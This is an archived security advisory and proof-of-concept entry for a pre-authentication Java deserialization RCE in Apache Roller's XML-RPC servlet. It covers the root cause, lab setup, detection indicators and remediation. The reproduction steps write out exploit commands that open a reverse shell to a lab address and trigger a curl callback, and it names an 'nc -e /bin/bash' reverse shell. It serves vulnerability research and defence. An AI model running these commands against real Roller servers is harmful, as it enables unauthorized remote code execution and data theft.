Apache Roller XML-RPC Pre-Auth Java Deserialization RCE (CVE-2026-129448 / CVE-2026-82384)
Published: 2026-11-25 • Researcher: Yanis Alim (TUXSHIN SECURITY); finder n0mi1k; reporter Matt Raible
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2026-11-20. Federal remediation deadline 2026-11-23.
EPSS 24.2% · 98th percentile
- Severity
- Critical
- CVE
- CVE-2026-129448 (duplicate of CVE-2026-82384)
- Category
- web
- Affected product
- Apache Roller (legacy XML-RPC servlet, XmlRpcServlet at /roller-services/xmlrpc)
- Affected versions
- NVD range: 4.0.0 through 6.1.4 (<= 6.1.4). The upstream lab confirms 6.1.5 is also vulnerable; 6.1.6 and 6.1.7 are fixed
- Disclosed
- 2026-11-25
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-129448
- https://github.com/Yanixos/APACHE-CVE-2026-129448
- https://lists.apache.org/thread/lnz4s26tv6hdo03wngtdbpfj4hg4gtds
- https://seclists.org/oss-sec/2026/q4/731
- https://github.com/advisories/ghsa-pxp4-phq9-fx2q
- https://www.cve.org/CVERecord?id=CVE-2026-82384
- https://github.com/apache/roller/pull/171
- https://tuxshin.com/article-apache-roller-xmlrpc-deserialization
- https://www.bleepingcomputer.com/news/security/apache-warns-of-roller-rce-vulnerability-exploited-in-attacks/
- https://github.com/frohoff/ysoserial
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-11-19 |
| Author / Researcher | Yanis Alim (TUXSHIN SECURITY); finder n0mi1k; reporter Matt Raible |
| CVE / Advisory | CVE-2026-129448 (duplicate of CVE-2026-82384) |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS v3.1); exact vector not given in source data — see references |
| Status | Weaponized |
| Tags | RCE, unauthenticated, Java, deserialization, CWE-502, Apache-Roller, XML-RPC, ysoserial, CommonsBeanutils1, pre-auth |
| Related | pocs/web/2026-11-25_cve-2026-82384-poc/ |
Affected Target
| Field | Value |
|---|---|
| Software / System | Apache Roller (legacy XML-RPC servlet, XmlRpcServlet at /roller-services/xmlrpc) |
| Versions Affected | NVD range: 4.0.0 through 6.1.4 (<= 6.1.4). The upstream lab confirms 6.1.5 is also vulnerable; 6.1.6 and 6.1.7 are fixed |
| Language / Platform | Java (Apache XML-RPC 3.1.3 on a servlet container; reference lab uses Tomcat 9 / JDK 11) |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
Apache Roller ships its legacy XML-RPC servlet with the vendor-extension flag enabled, so the ex:serializable extension type is accepted and deserialized during request parsing, before any authentication or handler lookup. An unauthenticated remote attacker can POST a text/xml method call carrying a Base64-encoded Java serialized object to /roller-services/xmlrpc and reach ObjectInputStream.readObject() with attacker-controlled bytes. That is a classic CWE-502 gadget-chain sink: with a usable gadget on the classpath (for example commons-beanutils 1.9.4 plus a permissive JVM), the request yields remote code execution as the servlet user. The same issue is tracked as CVE-2026-82384, is reported as actively exploited, and is fixed in Apache Roller 6.1.6.
Vulnerability Details
Root Cause
Roller’s WEB-INF/web.xml maps org.apache.xmlrpc.webserver.XmlRpcServlet to /roller-services/xmlrpc with the init parameter enabledForExtensions set to true. With vendor extensions enabled, the Apache XML-RPC library (3.1.3) registers the ex:serializable type; its SerializableParser.getResult() Base64-decodes the element body and calls new ObjectInputStream(...).readObject() directly on it. Deserialization therefore happens inside XML parsing, before XmlRpcServer resolves a handler and before any login check. Disabling XML-RPC in the admin UI does not help, because the servlet mapping and parser remain active.
Attack Vector
One unauthenticated HTTP request: POST /roller-services/xmlrpc with Content-Type: text/xml and a methodCall document that declares the ex namespace and places a Base64 Java serialized stream in an ex:serializable value. The method name is irrelevant because parsing fails or deserializes before handler lookup; the repo uses roller.probe. The supplied exploit generates a ysoserial CommonsBeanutils1 payload (BeanComparator to TemplatesImpl) under JDK 11 via Docker so the embedded bytecode is class-version 55 and loadable by a Java 11 target.
Impact
Remote code execution as the servlet container user when a usable gadget chain is present; the exploit supports arbitrary command execution and a reverse shell via nc -e /bin/bash LHOST LPORT. A compromised Roller host exposes the blog database, uploaded content, configuration secrets and any files readable by the Tomcat user. Stock, modern Roller blunts the easy chains (commons-collections 3.2.2 blocks CC1-CC7 through the InvokerTransformer guard, and current JDKs block TemplatesImpl deserialization), so the end-to-end RCE shown here requires the lab’s relaxed jdk.xml.enableTemplatesImplDeserialization flag, an older JVM, or a different gadget such as a Spring/JNDI chain. The pre-auth deserialization primitive itself is unconditional.
Environment / Lab Setup
OS: Linux (Docker host); reference containers tomcat:9-jdk11
Target: Apache Roller-compatible XML-RPC servlet lab, vulnerable on :8080,
patched on :8181 (docker compose)
Attacker: Python 3.10+ (stdlib only), Docker (for JDK 11 payload generation and target)
Tools: curl, javac (JDK 11+), Docker, ysoserial-all.jar (v0.0.6), netcat for the listenerSetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
- Reachability check (no code execution) — send a serialized
lab.ProbeGhost, a class deliberately absent from any real server. A vulnerable instance answers with the deserialization fault, provingreadObject()ran on unauthenticated input.Shell script1 2cd poc python3 probe.py --target http://127.0.0.1:8080/roller-services/xmlrpc --mode detect - Confirm the patched build rejects it — the same probe against
:8181returns the extension-rejected fault instead.Shell script1python3 probe.py --target http://127.0.0.1:8181/roller-services/xmlrpc --mode detect - Generate and fire the gadget — start a listener, then run the exploit with a reverse-shell or a simple-token command. Payload generation uses
docker run tomcat:9-jdk11by default so the bytecode matches a Java 11 target.Shell script1 2 3 4nc -lvnp 4456 cd ../exploit python3 roller_exploit.py --target http://127.0.0.1:8080/roller-services/xmlrpc \ --reverse-shell 172.20.0.1 4456 - Out-of-band variant — when a shell is not practical, use a command with an external callback. Note the gadget calls
Runtime.getRuntime().exec(String)without a shell, so pipes and redirects need a two-stage payload.Shell script1 2python3 roller_exploit.py --target http://127.0.0.1:8080/roller-services/xmlrpc \ --cmd 'curl http://172.20.0.1:9999/roller-pwned' - Verify scope — repeat step 3 or 4 against the patched service on
:8181; no callback and no shell should arrive.
Exploit Code
See
exploit/roller_exploit.py(full RCE,--cmd/--reverse-shell) and the minimal probe inpoc/probe.py(--mode detect/--mode execute). The request shape built by both tools is:
| |
| |
Expected Output
| |
Detection & Indicators of Compromise
- HTTP access logs with
POST /roller-services/xmlrpcor/roller/roller-services/xmlrpc,Content-Type: text/xml, and a body containing theex:serializableelement or a Base64 stream beginningrO0AB. - XML-RPC faults containing
Failed to load class for result object:orFailed to read result object:in responses, which indicate deserialization was reached. - Java stack traces mentioning
java.io.ObjectInputStream,org.apache.xmlrpc.parser.SerializableParser, or gadget classes such asBeanComparator/TemplatesImpl; also the commons-collectionsUnsupportedOperationExceptionguard message. - Outbound connections from the Roller host to unfamiliar hosts/ports shortly after XML-RPC POSTs (gadget execution or JNDI/LDAP callbacks).
- Unexpected child processes of the Tomcat/JVM process (
bash,curl,nc), or new files under/tmpwritten by the servlet user.
SIEM / IDS Rule (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Apache Roller 6.1.6 or later (6.1.7 also fixed). PR #171 flips enabledForExtensions to false, adds XmlRpcEnabledFilter on /roller-services/xmlrpc, and adds a regression test. Restart Roller after upgrading. |
| Workaround | If upgrading is not possible, edit WEB-INF/web.xml: set enabledForExtensions to false for XmlRpcServlet, or remove the /roller-services/xmlrpc servlet mapping entirely, then restart. Disabling XML-RPC only in the admin UI is not sufficient. |
| Config Hardening | Block XML-RPC at the edge when unused, reject ex:serializable in request bodies at the WAF, and run a JDK with the TemplatesImpl deserialization guard (8u341 / 11.0.16 / 17.0.4 or later) plus commons-collections 3.2.2. These are defense-in-depth only; they do not replace the patch. |
References
- CVE-2026-129448 — NVD
- Source PoC — Yanixos/APACHE-CVE-2026-129448
- Apache advisory (lists.apache.org thread)
- oss-security posting
- GitHub Advisory GHSA-pxp4-phq9-fx2q
- CVE-2026-82384 (duplicate record)
- Apache Roller PR #171 — the fix
- TUXSHIN SECURITY — technical article
- BleepingComputer — exploited in the wild
- ysoserial
Notes
Auto-ingested from https://github.com/Yanixos/APACHE-CVE-2026-129448 on 2026-11-25.
Review verdict: this is a real PoC/exploit repository, not a detector. exploit/roller_exploit.py and poc/probe.py --mode execute build a ysoserial CommonsBeanutils1 payload and fire it at the pre-auth sink, supporting --cmd and --reverse-shell. The repo also contains scanner/roller_scan.py and the --mode detect oracle, which are non-RCE detection logic; the scanner was deliberately not copied, and detection-only techniques are documented above as indicators, not as the entry’s PoC.
Limitations: end-to-end RCE is gadget- and JVM-dependent. The upstream lab proves the deserialization primitive unconditionally but relaxes the JDK TemplatesImpl guard (-Djdk.xml.enableTemplatesImplDeserialization=true) to demonstrate the CommonsBeanutils1 chain; on stock modern Roller, commons-collections 3.2.2 blocks CC1-CC7 and current JDKs block the default TemplatesImpl sink, so a real-world chain must use Spring/JNDI or an older runtime. The upstream README notes the CVE records understate the range: it confirms 6.1.5 is vulnerable as well, while NVD lists <= 6.1.4. Payload generation requires Java 11 and Docker (or --host-java, which produces bytecode only matching a newer target).
License status: the upstream repository has no LICENSE file; all files are archived with attribution for authorized security research only. Copied evidence is limited to 15 exploit/lab files plus upstream-README.md; jars, downloaded dependencies and the scanner were not archived. Do not run this against systems you do not own or have written authorization to test.